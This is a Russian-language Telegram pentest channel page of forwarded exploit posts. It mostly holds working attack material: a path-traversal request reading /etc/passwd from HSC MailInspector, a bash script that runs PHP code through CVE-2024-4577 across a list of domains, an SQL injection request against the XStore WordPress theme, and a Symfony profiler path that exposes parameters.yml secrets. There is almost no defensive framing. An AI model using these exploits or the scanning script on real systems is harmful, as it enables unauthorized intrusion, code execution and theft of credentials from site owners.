https://pentestnotes.ru
Заметки про пентест, CTF и информационную безопасность
YouTube:
https://youtube.com/@fallensk1ll
Post #53
395
Forwarded from Exploits from Github
- 🌚 3
PE @pentestnotes
Showing posts older than #54 · Back to latest
Forwarded from Exploits from Github




Forwarded from Proxy Bar

GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwdtitle=="..:: HSC MailInspector ::.."Forwarded from Proxy Bar
CVE-2024-30078.poc2.9 KBForwarded from Proxy Bar
#!/bin/bash
# Function to check vulnerability for a domain
check_vulnerability() {
local domain=$1
local response=$(curl -s -X POST "${domain}/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" \
-H "User-Agent: curl/8.3.0" \
-H "Accept: */*" \
-H "Content-Length: 23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Connection: keep-alive" \
--data "<?php phpinfo(); ?>" \
--max-time 10)
if [[ $response == *"PHP Version"* ]]; then
echo "$domain: Vulnerable"
fi
}
# Main function to iterate over domains
main() {
local file=$1
while IFS= read -r domain || [ -n "$domain" ]; do
check_vulnerability "$domain"
done < "$file"
}
# Check if the file argument is provided
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <domain_list_file>"
exit 1
fi
# Call the main function with the domain list file
main "$1"./CVE-2024-4577_script.sh /path/to/domains-listForwarded from Proxy Bar

PHP-CGI работает на платформе Windows и использует определенные кодовые страницы (упрощенный китайский 936, традиционный китайский 950, японский 932 и т. д.), атакующий может создавать вредоносные запросы для обхода исправления CVE-2012-1823. Это позволяет им выполнять произвольный код PHP без необходимости аутентификации.Forwarded from Proxy Bar
Forwarded from Proxy Bar
SQL inj, обнаруженная в 8theme XStore, платформе электронной коммерции, созданной на базе WordPress. POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1Forwarded from Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность

/app_dev.php) и возможности чтения конфига: /app_dev.php/_profiler/open?file=app/config/parameters.ymlForwarded from Proxy Bar
Forwarded from Двойная кавычка (Bo0oM)


vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены".